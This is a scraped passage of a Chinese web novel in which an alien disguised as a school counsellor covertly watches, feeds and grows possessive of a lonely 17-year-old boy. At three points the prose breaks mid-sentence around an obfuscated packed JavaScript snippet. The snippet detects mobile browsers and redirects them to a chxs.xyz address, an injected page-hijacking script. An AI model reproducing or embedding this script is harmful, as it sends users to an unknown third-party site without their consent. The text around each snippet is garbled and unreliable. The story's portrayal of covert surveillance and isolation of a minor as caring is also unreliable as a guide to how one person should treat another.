他自言自语道。
【操场篮球区域属于危险区,上一次他就差点被砸到,还好我及时更改了轨迹…这里的监控多放一点吧!】
此时本应该作为引导宿主的系统,安静地就像不存在一样。
【……】
*
日子一天一天过着,不知不觉一个月的时间在不经意间悄然流逝,时间很快就到了实验中学月底放月假的日子。
临放假的前一周,十班的同学们情绪高涨,有时候上着课都能听到有人在聊放假以后要怎么玩怎么吃,吐槽宿舍生活多么不方便,学校多么不人道,自己多么想念家人等等。
到了晚上那就更热闹了,宿舍那些偷偷藏了手机的学生们凑到一起叽叽喳喳讨论一些李卓听不太懂的内容。
有说某某地又出了什么死人的新闻的,有说哪个游戏又出了新的活动副本,如何才能打过去的,还时不时还能听到中路什么上路之类的话。
李卓不参与那些讨论,且他没有很重的手机瘾。他每个月听话地上交自己的手机,也没有私藏第二个备用机,的确是参与不进去。
他大多时间只是安安静躺在自己床上,像完全不存在般默默酝酿睡意。
遇见莫良之前,他有时会想一些白天没做完的题,有时会数数,有时会想着关于李家的事,想他们会在做什么,有时干脆什么也不想,完全放空大脑。
遇见莫良后,他好像就很少想一些乱七八糟的,想的最多的成了,第二天可能会吃的菜,还有……
等等…
他遇见莫良那天好像是…
李卓原本闭着的眼睛猛然睁开。
这个月都已经快结束了,他在回忆与莫老师初遇时,居然才后知后觉地想起那天居然是四月一日,是愚人节。
真是一个微妙的日子啊。
脑海里的思绪就像一串紧密排列的多米诺骨牌,从“愚人节”这一块被推倒开始,连锁反应般地,顺势又想到愚人节在前两天的记忆。
14.第 14 章
李卓在那套空旷的新家写作业,中途遇到一道不确定的题目,查资料的过程中,无意在好友动态中看到了一张李轩和父母的照片。
似乎是在什么活动现场吧?
照片中的三人都在笑,明亮的色调让整幅画面显得极为温馨,他们看起来是多么幸福的一家人啊,好像没了自己以后,整个家反而更圆满了。
傍晚时分,昏黄的余晖透过半掩的窗帘缝隙,斜斜地投射进来空荡的客厅,在水泥地上拉出一道长长的影子。
李卓没有再像之前那样大吵大闹,只是静静地看着手机,直到屏幕熄灭,直到整个空旷的房间完全被寂静的黑暗所一点点尽数吞噬。
似乎什么也没有发生。
第二天的李卓依旧照常从沙发上起来,洗漱,吃早餐,写作业,中途还统一回复一些账号上堆积一个月的消息。
哪怕他在国际学校没交到什么朋友,号里还是有不少联系人的,其中时不时会有一些不知目的的打探消息。
对这类,李卓从来不回复。
他通常最先查看的是他亲生母亲和父亲的消息,而这两个人中给他发消息及回复的次数中还是前者更频繁一点。
李卓母亲叫吕菲,就像在李家工作多年的那位刘姓阿姨曾说过的,他们两个毕竟是亲母子,眉眼处是很像的。
李卓特意观察过这一点。
在他刚到李家的头半年,吕菲时常带着李卓去各种美容会所进行各种项目,一般都是补水养肤之类的。
每回李卓被工作人员引着从护理师出来时,见到的第一个人就是吕菲。
大多时候她都会和几个相熟的小姐妹在贵宾休息层喝着茶聊着天,余光处注意到李卓,便会主动朝他招手。
“小卓,过来让我看看。”
等李卓坐到吕菲身边,她会拉着他的手,询问他感觉怎么样,问他想吃什么想喝什么,同时也笑着给小姐妹介绍他:
“这就是我那个小儿子。”
其他阿姨大多都会客套地夸上李卓几句,跟着吕菲再接几句,两方就会心照不宣地跳过这个话题继续聊些圈子里的最近的新鲜事儿。
每当这时候,一旁李卓会认真端详着女人的脸庞,从她新做的略微卷曲的头发看到精致的睫毛,再到隐约能看到丝丝细纹的眼角、到不断张合的红唇。
真好看。
他每次都会这样想。
后来在李卓因为各种各样的小事而与李华川发生争执时,吕菲一开始曾在中间周旋宽慰过,后来也逐渐认为他有点过于小题大做,小肚鸡肠…
持续到他要离开海市,她又才和他恢复了联系,母子俩保持每个月打一通电话,偶尔发发信息的频率。
大多内容都是为李华川说话。
“其实你爸还是想你的…”
这是她常挂在嘴上的一句话。
李卓起初是相信的,但看到那张照片以后,突然就不那么相信了。
于是那天他故意略开了排在最上面的对话框,视线再往下滑,看到另一个熟悉的头像和名字。
这人不是别人,正是之前机缘巧合得知李卓被拐卖的消息,千里迢迢去坪山村找他的寻亲节目组导演。
导演姓关,全名叫关泽洋。两年前和李卓因为节目而相识,分别时他主动给李卓留了一个电话。
李卓有了社交账号后,关导也成了他列表里的第一批好友之一。
在李卓第三次为引起父母注意而离家出走时,他的父母对此完全漠视,没有给他打去一个电话。
他一个人在一家二十四小时营业的肯德基店里坐了很久,是关导得知消息过来陪了他一会儿。从这以后,他也没再玩这种把戏。
再后来李卓来了常阳,关导时不时会问他最近的生活。不过因为他自己工作忙碌,时常奔波在外,消息不是很多,一个月两三条左右,无外乎关心学习身体健康,而李卓放了月假就集中回复。
回完关导的信息,剩下是实验中学的一些同学。其中尤其邓余亮的消息最多,且大多都是一些无聊“在干嘛”“要不要出来玩”的话。
李卓照旧回复三个字:写作业。
关上手机,去楼下吃饭,回来的路上抬头看了看碧蓝如洗的天空。
回天鹅湾时迎面遇上一家三口,那对年轻夫妻边推着婴儿车,边逗弄小孩,有说有笑地从李卓身边经过。
直到看到他们的背影消失在路的尽头,李卓才拎着提前买好的晚饭离开。
什么都没有发生,日落日升照旧。
只是再度回到学校后,李卓有了厌食反应,只是夜里总是睡不安稳,旧梦频频,噩梦频频…
而就是在这种的情况下,他在学校的走道间碰见了莫老师,被主动邀请到了心理咨询室,在他的温声开导下,开始了一场长达一个小时的对话。
说起来,自从莫老师出现,李卓逐渐找回饥饿感,在他的监督下一日三餐规律饮食,竟连噩梦都没再做过了。
经过每天来来去去的熟悉,李卓现在对去往教师公寓及去往心理咨询室的路是越来越轻车熟路了。
不止是那条路,包括对那边的常住的老师开始脸熟了几分。
莫老师对李卓的饮食十分在意,尤其经过之前的教训,现在就连李卓偶尔吃饭速度太快或者太多都会被他提醒一定慢慢吃,不要着急,不然影响营养吸收,会加重肠胃负担等等之类的话。
李卓都不知怎么说了。
偶尔有几次莫良在陪着他吃饭时,用一种难以描述的眼神望着他:“怎么那么脆弱呢…”
李卓抬头问他刚说什么?
莫良又说没什么。
除了莫老师外,李卓上课被提问的次数明显比之前多了,有时本子上某道题做错了,在课上时,老师竟还会重点进行讲解。
有次班主任章志文讲完某一道易错题型的不同解答后还特意问了李卓一句他听明白没?有没有哪里不懂的。
当时的李卓都懵了。
过去一个月的日子回想起来,每一天都过得无比舒心,似乎就连他呼吸的空气都是被过滤过一般都清甜。
这太顺心顺意了吧?
人生可以这样一帆风顺吗?
吵闹的宿舍不知什么时候安静下来,李卓的思维一点点迟缓起来。
他的眼球转动频率,翻身频率,每一样细微的波动都以一种看不见的方式传递到宿舍外的某处。
【他睡着了,入睡时间相较于以往有一点晚,是白天的饮食还是课程…】
莫良思索着,迅速调动出李卓白天与自己的所有对话,三餐的具体饮食分布,以及今天所学的课程等等。
密密麻麻的影像拼凑在一起,一眼看过去画面的中心几乎都是同一个人。
【其实任务目标就算比平时晚睡一会儿不影响什么】系统十分拟人的笑了笑,【宿主也不用这么紧张…】
莫良充耳不闻,继续一一浏览,就在这时,耳畔原本绵长的呼吸声变得紊乱,心跳加快,血压升高。
他立刻调动更多感知,眼前的视
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992608|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
网膜内的混凝土墙壁逐渐变得透明,躺在床上的少年正闭着眼,蹙着眉,肌肉紧绷,额头隐隐有冒汗的迹象。
显然,他做噩梦了。
下一瞬,不到一个呼吸,莫良的身影出现在李卓的床位边。
宿舍里静悄悄的,不少学生都已经睡去,下铺舍友翻了一个身,将身上的薄毯踹开,砸吧着嘴。
莫良的唇紧闭着,一阵常人听不见的特殊频率一遍遍循环,床上的少年的眉头也在这个过程中逐渐软化。
【找到我的孩子今天这么晚睡的原因了。】密密麻麻的画面中,莫良迅速锁定一副被标红的影像。
里面正是李卓和旁边同学的画面,时间约莫是课间操刚结束,背景里学生们正排队使用校园电话给家人打电话。
李卓的位置排在同桌前面,而他们也比较幸运,排的那队人数不多,前面的也不墨迹,很快轮到李卓打电话。
他应该是平时很少使用这里的校园亲情电话,对打电话的流程十分陌生,先是刷卡时不小心把卡弄掉了,拨号时手在轻微的颤抖。
经查询,他一共打了三遍电话,第一遍的机主人是他的父亲李华川,电话显示忙音,第二遍机主人是他的母亲吕菲,电话显示占线中,第三遍又拨打了李家客厅的电话。
这次倒是有人接了,不过接电话的李家的一个新来的雇工,应该是刚入职不久,连李卓也不知道,听他说了没几句就以为是骗子给挂了。
电话亭的墙壁旁被李卓拿手指无意识扣下来一块块墙皮。
李卓看样子似乎还想打第四遍,但后面排队的其他同学有些等不及了。他于是就没再继续,将位置让了出来。
下一个打电话的是李卓同桌,第一个电话就打通了,“哎,喂妈是我,别叫我亮亮,先听我跟你说个事……”
李卓的同桌眉飞色舞地和电话对面的家长讲话,而李卓如影子般安静地听着。
拟真度极高的幻影中,莫良甚至可以清除看到他的孩子,眼中又浮现了令他心痛不已的悲伤。
那个同桌叫……什么?
莫良对其他人类的确是很不关心,实验中学所有的老师和同学在他眼里都像是一团一团糊了马赛克的,只有他的孩子才是清晰的。
所以他费力地想了一会儿。
哦,好像姓邓。
要不是因为这个人类和他的孩子在一起的时间比较多,他可能连姓氏都想不起来。
【我才模糊了他的记忆情感…】
【都怪他…】
系统身上的光芒亮了一瞬,似乎想说点什么,很快又黯淡了下来。
【……】
【我的孩子很难过,原因是电话没有打通,可是为什么不打给我呢?我很期待和他以这样的方式对话。】
光团子这一次不再黯淡了,它忍无可忍的开口:【你是不是哪里搞错了,他不是每天都能看到你吗?为什么要舍近求远地给你打电话?】
莫良没有回答,依旧借着自己的思维往下思考:【对噢,我好像还没有把我的号码告诉他,或许我可以将我的号码给他,好,明天早上就告诉他…】
【是声音信号和电信号互转换的原始通讯吗?他喜欢这样交流吗?】
【原来如此…】
【那我也试试好了。】
光团子这一回彻底黯淡下来。
一轮明月高悬,男寝值夜班的宿管大爷半眯着眼睛呼呼地打瞌睡,压根不知道阴影中的那团扭曲的黑影倒地在那待了多久,又是什么时候离开的。
15.第 15 章
“你今天是不是又不去食堂啊?”
邓余亮望着自己的转校生同桌,扫过他明显比前段时间红润不少的气色时,真情实意地啧了几声。
“啧啧啧,教师食堂的伙食就是比咱们学生食堂的大锅饭好呀,你这吃一个多月吧?感觉胖一圈了。”
其实胖一圈倒不至于,不过的确看着比刚转学过来那会儿健康多了。
班上其他和李卓交集不多的同学兴许不清楚,但作为相处时间最多的同桌,邓余亮是最清楚这个过程的。
转校生人还没转来前,他就已经从自己亲戚那知道了不少内幕。例如这位转校生上一个学校是那个很出名,门槛很高的国际学校…
听说还是个豪门少爷呢!
新奇诶,居然有人从大城市的国际学校转到他们这种普通公立学校?一定犯了什么很严重的事儿吧!
事实上,好像真不是。
因为有老张提前叮嘱,李卓转来第一天,邓余亮不停用各种各样话题和新同学聊天,主动带他去食堂,介绍学校、班级里的种种情况等等。
在他这样的攻势下,李卓才慢慢和他有了交谈。是的,仅仅只是这样,他还是不会主动和其他同学交流。
邓余亮仔细观察过,这人似乎是个“学习机器”,哪怕下课多么心事重重,郁郁寡欢,一上课便立刻进入专注模式,就像是切换了一个人格一般。
他还非常守规则,老师说必须要交手机,他就交。老师说寝室里不准带吃的进入,他就真的不把食物带去,真的在外面吃完再进来,就…很奇怪。
如果某个懂点心理学的应该能对李卓进行不同层面的解读和分析,例如他的“学习机器”状态其实是一种典型的解离状态,是一种创伤行为。
但邓余亮年龄太小,不涉猎这块,他只是单纯觉得难以理解。
开学头两个月就如此过来了,转校生像个机器人一般,机械进食,机械上课,成绩也的确在稳步提升。
邓余亮以为接下来两年都会这样按部就班,直到某一天开始,这位“学习机器”第一次上课迟到,再然后他被那位神秘的心理老师接走。
第二天一大早他在楼上亲眼看到那位老师提着保温桶在学生宿舍的男寝楼下等人。
别说,那画面特别扎眼。
有好事者专门观察过,很早的时候那个戴着平光眼镜的男人就会拎着保温桶在楼下等着。别人谁去搭话都当看不到,就像个木桩一样望着楼上的方向,比游戏的npc还像npc。
这种状态会等李卓出现才会解锁,而他看到李卓那个表情,那个眼神…热情到令人毛骨悚然。
不少人都说还得是海市少爷啊,上个学还带着家里的管家仆人吗?
再再然后……他的同桌就再也没有去过学生食堂,他的一日三餐都被那个新来的心理老师承包了。
也不知道教师食堂那边到底吃得是有多好啊,他那个脸色苍白的同桌吃了几天饭,气色一天比一天好。
有一次午休,见他带回来几颗橘子,邓余亮厚着脸皮要了一个。
别说,那个味道是真甜啊,后来他仔细看了蓝色标签,才发现就那么一颗橘子居然就要一百多。
怎么不去抢?
真tm巨贵!
当然了,关于什么仆人管家的调侃都是谣传,据邓余亮从亲戚那听到的消息,那个莫老师出手十分大方,这俩人应该是什么亲戚吧?
他想打听,但一个字都没套出来。
这个新来的转校生太有边界感,又或者说他很注重个人隐私。
他完全不会聊到自己的过去和家庭,更多时候都是默默听着,就算主动让他谈,他只会说没什么好说的。
性格孤僻,内向,在教室在宿舍都很少参与大家的聊天,连放月假这样的喜事,也不会让他有一点高兴的触动。
他的周身似乎一直存在一层透明的膜,又或者说,那已经不再是一戳即破的膜,更像一堵厚厚的空气墙。
“我胖了吗?”
李卓将邓余亮的玩笑话当了真,自己相继捏了捏脸和手臂。
“好像是比之前胖了一些。”
“你真是的,我就随便说的…你这还叫胖,还让我活不活了。”邓余亮收回乱飞的思绪,嘻嘻哈哈的打着哈哈,“诶说真的,明天就放假了!”
李卓平静地点点头,把扣上笔帽的笔放进笔袋,桌上摊开的教材和练习册一一合上,从桌肚里抽出下节课要用的课本。
“我知道啊。”
“……”
第二节课后是课间操时间,李卓顺着熙熙攘攘的人流走过长长的连廊,走过半开着门的心理咨询室,就那么短短两秒,他和里面熟悉男人目光相接。
在李卓的视野内,莫老师正稳稳坐在电脑前不知道处理什么工作,然而在他看不见的视角内,一个小光团正密接注意着他的一举一动。
【好了,目标已经离开。】
下一秒,原本半开的门缓缓合上,窗帘也被严严实实的拉上,办公室的身影瞬间从原地消失。
这道身影再出现时,是在一处天台楼顶,视野正好对着李卓班级的区域,从高处往下看,像极了一群小蚂蚁。
【灶上的高压锅还有三分钟就该关火了,这时熬出来的底汤更浓郁。】
【据推测浸泡下的笋干…】
【…】
莫良的目光牢牢锁定在其中一只小蚂蚁身上,见他比刚遇见时红润不少的肤色,一种前所未有的成就感油然而生,这远比他过去在实验室作出的那些成果还要令他欣喜不已。
【你看到了吗?】
【我的孩子正在健康成长…】
*
和十班其他兴致勃勃的同学不同,李卓是真的对放假一点没有期待。
别的同学放假回去能和家里人吃吃喝喝,谈天说地,他呢?
面对那个空旷到说话都能听到回声的“新房”,李卓觉得两天假期长了。
前两次放月假,李卓都记不清是怎么度过的,只记得屋子有点冷,记得小区外面那家面馆又贵又难吃。
傍晚吃饭时,他随口与莫老师谈到放假这个话题,后者十分自然地询问了李卓那套新房的地址。
“哦…离学校还是有点远的啊,要不你以后放假就住我这儿吧?”
莫老师虽是一副询问的口气,但所表现出的态度却像这事已经定了一样。
“我之前就一直想说了…”
“你不是说晾在宿舍阳台的衣服老是丢吗?以后直接在我这儿洗,然后晾在这儿,反正有现成的洗衣机啊。”
李卓想说这会不会太麻烦了,陡然间想到这一个月以来,他这样的话似乎说过不止一遍了。
最开始是在莫老师这吃一顿饭,然后是两顿三顿,逐渐变成一日三餐。
因为宿舍水房排队太挤,莫老师主动提出可以在他这里洗漱,可以节约时间,一次两次,然后他的牙刷牙膏漱口杯及洗脸巾出现在卫生间台架上…
因为一次宿舍停水,他又在莫老师的公寓洗了澡,干湿分离的淋浴区,精准调控水温的热水器,这可比学校宿舍要排队的公共澡堂舒服多了。
而现在,莫老师又提出平时换下的衣服床单被套也可以放在他这里洗,在他这里晾,好像不知不觉间,这间公寓里关于李卓的东西越来越多了。
不知情的人走进来,一眼看去,只会以为这是李卓的家。
而这一切的变化都是潜移默化的,李卓注意到时,他只觉得自己可真是好运啊,遇到了这样一位好老师。
“………”
“就这样吧。”
莫老师温和的语气在不知不觉中变成老师对学生说话的口吻。
“不是正好放月假了吗?刚好趁着这个时间去外面逛逛吧,最近越来越热,该换
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996995|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点夏天的衣服了。”
莫良的意思是买新的,但彼时的李卓没领悟到这一层,他很自然的接话。
“那我明天放假后回那个房子拿行李吧,里面还有不少我夏天的衣服。”
莫良笑笑并未解释。
他有的是办法和话术让自己的孩子接受自己购买的新衣服。
例如系统的推荐话术:买都买了,吊牌也摘了,退不了,总不能让他穿着不合身的衣服吧?
只是想到自己的孩子穿着自己购买的衣物,就像打上属于自己的标记,莫良皮囊下的一缕本体就忍不住蠢蠢欲动活跃起来。
他不得不告诫它们:
【安静——】
*
季节的变换总在不经意之间,校内同学们的衣着从单衣加外套换成了短袖,小卖部多了不少冰淇淋雪糕,正午时分窗外的太阳一天比一天毒辣。
收到莫良送的儿童节礼物时,李卓起初完全没有反应过来,过了一会儿,意识到这是自己的礼物后,他愣住了。
“我不是小孩子了。”
他试图和莫良解释,这种节日是幼儿园小朋友过的,轮不到他来过。
“你想想,我今年十七,再过几个月就十八了…这,这…”
“然后呢?不可以吗?”莫良并不觉得有什么,他还询问,“我查询过,国家并没有出台此类规定…”
“……”
于是在对方认真的视线中,李卓沉默地接受了人生中第一份儿童节礼物。
硕大的礼盒里琳琅满目地放着许多包装精致的盒子,他随意拆了几个,有小孩会喜欢的组合零食和拼装玩具,还有一份全新的手表。
——刚好李卓带的手表在前两天表带磨损断了,手腕上正空着。
将新手表戴上手腕,李卓抬手晃了晃,没有丝毫不适,仿佛它天然就应该出现在李卓的手上。
“我上次说到哪儿了?”
李卓午休不必回教室,对外的理由是这位转校生需要接受心理老师的辅导,事实上也的确如此。
那些积压在他心头的、那些无法对班上同学说,也不知道怎么说的、那些好的,那些坏的,在莫老师那双无限包容的眼里,忽然变得可以轻而易举的讲出来了。
他上次笼统地说了一些关于李家的情况,里面有好一些是他从李家的家佣口中,乃至从李父李母口中听到的。
李家夫妻不止一次的告诉李卓,他们当时找他是如何筋疲力尽,如此奔波劳碌,如何食不下咽,而当时也才五岁的李轩又是如何懂事地安慰他们,陪着他们一起找。
在李卓不见的十几年里,一直都是李轩陪在他们身边的,履行着一个儿子应该尽到的陪伴义务。
就算是养条狗,相处这么多年也养出感情了,别说一个活生生的人呢?
更何况李轩是那样的聪明。
在家佣口中,李轩是远近闻名的神童,从小就展现出了惊人的天赋,多才多艺的他在小学时便连跳几级,是当时最年龄最小的高考生,给整个李家都争了不少光。
出了学校的舞台,他在商业方面的嗅觉也异常灵敏,李家后续的投资事业都靠着他的随口的几句话赶上一次次风口。
李轩太完美了,无论情绪价值还是荣誉价值,甚至还能给李家带来实实在在的庞大利益。
从这一刻起,他就是亲生的。
“莫老师,你上次不是还夸我成绩进步很快对吧?”李卓轻轻叹口气,“那是你没见过李轩,他不到十六岁,就早早地修完大学所有课程…”
李卓以为莫老师会佩服或者质疑,但什么也没有。
对面男人的表情十分微妙:“所以你努力学习,只是为了赶上他吗?”
李卓先是点点头,又摇摇头。
莫良依旧是一副温和无害的神情,用着类似日常关心他的寻常语气道:“如果他死了,你会开心一点吗?”
16.第 16 章
?!?!
李卓的心脏猛地收缩。
不可否认,在无数次被情绪支配时,在无数个浑浑噩噩的噩梦中,他的确想过李轩死了就好了。
李卓将李轩当做假想敌,当做引得父母对他态度转变的直接原因,曾固执地认为就是他抢走了自己该有的一切。
只要他死了,自己面前就没有那座总压着他的大山,只要他死了,自己就是父母唯一的儿子,只要他死了…
正是因为抱着这样的想法,李卓才会干出那么多针对李轩的“恶作剧”。
乃至第一次和莫老师相遇时,他才会将自己评价为坏人,说自己多么想让他死,因为他的确这样想。
可是…
当这个问题真的明明白白摆在他面前要他选择时,李卓又没办法那么斩钉截铁的点头,反而陷入一种纠结。
是莫老师的眼神太认真了吗?
哪怕他看起来是以无比随意的语气讲出来的话,但李卓的心里却隐隐浮现一种莫名的直觉:
——他是认真的。
到这时,他居然又想到一些李轩边边角角的、微不足道的几次友好时刻。
例如李卓刚到李家时,连智能热水器都不知道怎么调节,他只会呆愣在原地,家里的佣人和父母都没看出他的窘迫,是李轩过来低声说了按钮以及怎么切换两个不同的出水口。
他又觉得就算怨恨,也该是自己和李轩之间的事情,怎么能牵扯别人呢?怎么能用这样的方式…
最重要的是…
“杀人是犯法的,莫老师你可不要想这些了。我的确不喜欢他,但我还是想以我自己的方式…”
对面男人对他这个回答毫不意外,眼中又浮现出第一次听李卓说自己很坏时的表情。
“那你打算以什么方式呢?”
李卓犹豫了一会儿,低声报出某个大学的名字,似乎是有点不太好意思,尾音像含着一块将化未化的冰。
“我知道现在还有一定差距,但我还有快两年时间,不是一点希望都没有的,到时考上后他们就知道了…”
说到这,李卓面上先露出一种孩子气般的得意,跟着想起来对面还有一位老师,迅速又变得腼腆起来。
“莫老师,你可别笑话我。”
“不会的…”
收到系统提醒,莫良起身将冰箱里冰得正好的西瓜拿了出来,李卓喜欢吃,但得看着他不能让他吃太多。
因为吃着清甜的水果,李卓的声音也带上几分含含糊糊,尾音上扬。
“嗯…其实那两年也不完全都是不好的,也有一些好的,快乐的记忆…”
他细数李家父母曾经对他的种种关切行为,从两年前刚回李家时的点点滴滴,为他买了许多新衣服,在生病时也曾关心过他…说着又不可避免地提到每个月给他转的生活费及附言。
他的手机早在上午开学时就上交了,但这一点都不妨碍李卓将誊写过的转账附言展示给莫老师看。
“你看…从2月开学到现在,每个月一条,一共4条…”
莫良扫了一眼,发现长点的附言有【读书非一日之功,要始终坚持,不要中断】和【只要你还在努力,世界就不会辜负你。】
剩下两条附言都是短的,一条是【好好学习天天向上】,最新一条更短,只有四个字:【慢慢调整】。
“我觉得那种像从书本上抄来的格言应该是我爸发的,后面应该是我妈发的吧?”李卓手上又戳了一块西瓜,糖分的摄入让他眉目舒展。
在给莫老师展示完后,他小心翼翼地将纸张折起来,像沙漠中迷失方向的流浪者,珍藏着身上最后一点甘露。
除了这份留言,其实还有另外一件事情,李卓没有告诉莫老师。
在刚回李家,李父李母将李卓介绍给其他亲戚时,曾和李卓允诺过一件事,说等他十八岁生日时,他们一定给他办一个热热闹闹的成人礼。
当时还是个乡巴佬的李卓不知道什么叫成人礼,后来才知道那代表满满的爱,因此每一天都格外期待。
他一直很期待,非常非常期待。
咽下嘴里脆甜的西瓜,李卓像是自我暗示般,又重复了一遍:“其实他们还是很关心我的,只是我之前没有达到他们的要求…”
十分罕见,之前无论李卓说什么都无条件附和的莫良这次却沉默了,他既没有认同的肯定也没有否定。
光团子瑟缩地在半空中抖动。
在茶几遮挡的地方,李卓或许没注意到,系统全方面的高清摄像可是探测得清清楚楚:
莫良原本被裤管包裹的腿宛如软化中的面条,皮肤下有什么软体生物正在内部活动,即将破土而出。
【…停下!!】
“莫老师?”
李卓迅速发现莫良的异样。
“…你怎么了?”
其实他一时也说不上来哪里不对,明明对面的老师看起来一切如常,他的脸上还是挂着恰如其分的微笑,他的眼神也还是那样温和,但就是很奇怪…
李卓注意到莫老师那双透明镜片后的眼睛很久没有眨过了,眼白部分好像忽然有什么东西飞速地游动了过去!
就在他还要看得更仔细时,一声突兀的滴滴声骤然打断了诡异的寂静。
声音来源是从莫良的卧室传来的,里面放着一台快要积灰的手机,而制造这一切的正是系统。
【你现在不能让他发现你的身份,不然他就不会像之前那么亲近你了…】
【你也不想让李卓讨厌你吧?】
【…】
“抱歉,老师先去接个电话。”
几乎是刚进入卧室,莫良的手臂毫无预兆地像瘪掉的气球软趴趴耷拉了下来,而他则静静地注视新掉在地上不断蠕动的黑色物体。
通常来说,只有在情绪强烈起伏时才会出现断肢的情况,他很久没有过如此猝不及防的断肢了。
上一次是什么时候?
顺着这个思路,莫良想到上一次似乎也是和他的孩子有关…
具体因为什么事已经不记得了,能回想到的只是一团庞大的情绪。
细细分辨,记忆中的储藏的情绪竟和莫良刚才的情绪高度相似:
过度心疼他的孩子,绝不能容忍自己视若珍宝的孩子被如此戏耍,并为此产生了强烈的杀意…
尤其看自己的孩子把那些留言一笔一划认真记在本子里上,看他宝贝似的折好放进口袋随身携带,庞大的思绪瞬间席卷而来,莫良闪过无数种念头。
他不想再按照系统的办法细水长流的陪伴他,悄无声息的治愈他,引导他一步步正常社交,让他慢慢从自我封闭变得开朗,逐渐找回属于自我,最后自己斩断虚假如泡沫的亲情。
他只想直接去杀了那些欺骗他的人类,然后带着这颗可怜的小白菜回到自己的星球,最好上面只有他们…
只和自己讲话,只看着自己,只对自己笑,自己就是他唯一的家人朋友爱人,所有的身份他都可以一一扮演。
如果觉得同一幅皮囊太过于单调,莫良也不是不可以变成不同的样子。
每天打招呼的邻居是自己,上课的老师是自己,学校的每一个同学是自己,每一个路人都是自己,甚至连蹲下抚观察的一棵草也是自己…
光是想想,莫良都觉得太棒了。
【你这样违反了拯救任务规则…】
【并且…他会枯萎的…】
光团子与莫良有绑定,虽然不能完全感知到后者的想法,但也能模糊的感知到一些大概的方向。
【你不是人类,你如果以这样的方式圈养他,他会变得比之前更瘦弱…】
莫良想反驳。
他不认为自己现在已经具备一定养育者的经验,他会严格遵守饲养手册上的每一条规则,为李卓准备温度湿度都恰好的居所,为他准备玩具…
他会像现在一样,每天都为自己的孩子做符合他口味的饭菜,与他坐在一张桌子上一同进食。
他会时刻关注他的所有情绪,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005965|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包括他身体每一个器官的震颤,他的呼吸他的脉搏,哪怕在他入睡后,他也会根据他的睡觉姿势琢磨他的心情…
他怎么会虐待他?怎么会让他变得更虚弱呢?他一定会好好的照顾他,让他的每一根头发丝都闪烁着健康的光芒,每一寸皮肤都散发洁净的清香。
莫良肯定,自己绝对能做到。
可是…万一呢?
他亲眼看着李卓从之前那个走路缩着肩膀,垂着脑袋,不敢和他人对视的、营养不良的蔫巴小白菜是如何被自己一天天一顿顿养成现在各项基本生命体征指标均已达脱离红线标准…
「一个合格的养育者必然不能是自私的,要事事以自己的孩子为先。」
“咚咚咚…”
是外面传来敲门声。
“莫老师,时间不早了,我得先回教室了,厨房还有桌上的垃圾我顺便带下去啦…”
哪怕隔着一道门框,莫良也能精准感知李卓讲话时面部肌肉的每一次牵动,呼吸时口鼻气流的每一次涌动…
他似乎在犹豫,说完话后并没有立刻离开,而是犹豫了几秒。
“虽然我的确特别不喜欢李轩,也想过让他死,但每个人的生命都很宝贵的,我之前那是气头上的想法而已。”
他的心跳比第一次见面时有节奏多了,这代表着他比之前健康,他的体脂率,肺功能指标,心率等等均比第一次记录时有了明显的变化。
在提到那个叫李轩的人类,他的微表情的确有明显抗拒的表现,但他说:
“我只是在心里骂骂他,只是想让他出一点丑而已,害人性命什么的…太过分了。你那样做,我不会开心。”
“我先走了。”
【………】
他的孩子是多么可爱啊,会有阴暗的心思,但没有真害人的胆子,就是莫良把利刃塞他手里,他也害不了人。
他最多只能想到一些不痛不痒的恶作剧和离家出走搏一搏关注而已…
所以怎么能是那样的结局呢?
怎么可以呢?
【按照你的计划。】
【把解锁的支线和攻略发给我。】
莫良在意识里如此对系统传达着,意识外则用着和平时一般无二的声音温和答道:“好,我知道了。”
视网膜内出现一份新的文件。
他一心二用,快速浏览的同时仔细捕捉门外的脚步声一路走到门口的轨迹:到门口了…一声咔擦的开关门声后,跟着是下楼梯的声音。
一步两步…三步…
声音越来越远。
*
《育儿宝典:社交必修课》
引言:到了这个阶段,相信有不少养育者会产生不舍情绪,认为自家幼年体交了朋友就要离开自己了吗?这当然是不可能的,交朋友是一门深奥学科,可以极大提升孩子的身心健康!
1.0:您是否还在为家中幼年体缺乏社交,总独来独往而烦恼呢?根据不同幼年体,本篇会提出对应指导。
…
1.3.16:如果您的幼年体过去曾在交友过程中受到攻击嘲笑等巨大创伤,那养育者禁止参考前面的引导,需得更加小心,更加妥当,不可贸然干预!
首先要先让幼年体建立信任关系,为其挑选合适的“玩伴”,其次给他和“玩伴”提供一个安全环境,在以上基础下,进行适当互动、引入社交活动。
在这个过程中,养育者需保持耐心,不仅要时刻观察自家幼年体行为,还要观察其他“玩伴”的身体语言。
